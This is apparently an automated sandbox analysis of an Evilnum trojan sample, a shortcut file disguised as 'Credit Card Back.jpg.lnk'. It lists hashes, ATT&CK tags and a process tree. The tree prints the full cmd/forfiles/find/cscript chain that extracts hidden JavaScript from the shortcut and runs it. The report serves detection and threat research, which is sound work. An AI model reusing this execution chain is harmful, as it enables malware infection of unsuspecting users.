evilnum | 4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb

Analysis

Target

4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb.lnk
Size

199KB
MD5

80b0ba4ef46a22bfd43f967905c25a75
SHA1

ee59bc476bb3a7db1190beb791a5aa8550fc9541
SHA256

4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb
SHA512

cf2285060985e7eaec4485394c739452e80847047e45d1431bd540ff40eaf1e393058eab1fd08ca1663326fab7494a65e0c1c10e17b4c57abe0298c8a8647d28

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 872 wrote to memory of 3800	872	cmd.exe	70
PID 872 wrote to memory of 3800	872	cmd.exe	70
PID 3800 wrote to memory of 3124	3800	cmd.exe	71
PID 3800 wrote to memory of 3124	3800	cmd.exe	71
PID 3800 wrote to memory of 824	3800	cmd.exe	72
PID 3800 wrote to memory of 824	3800	cmd.exe	72
PID 3800 wrote to memory of 604	3800	cmd.exe	73
PID 3800 wrote to memory of 604	3800	cmd.exe	73
PID 3800 wrote to memory of 1544	3800	cmd.exe	74
PID 3800 wrote to memory of 1544	3800	cmd.exe	74
PID 3800 wrote to memory of 2264	3800	cmd.exe	75
PID 3800 wrote to memory of 2264	3800	cmd.exe	75

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\4930874f700dd81bff1c0f2ec7a8f55741987e102be8164bdc4aad6ea97062cb.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Credit Card Back.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:3124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:824
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:1544
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:2264

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact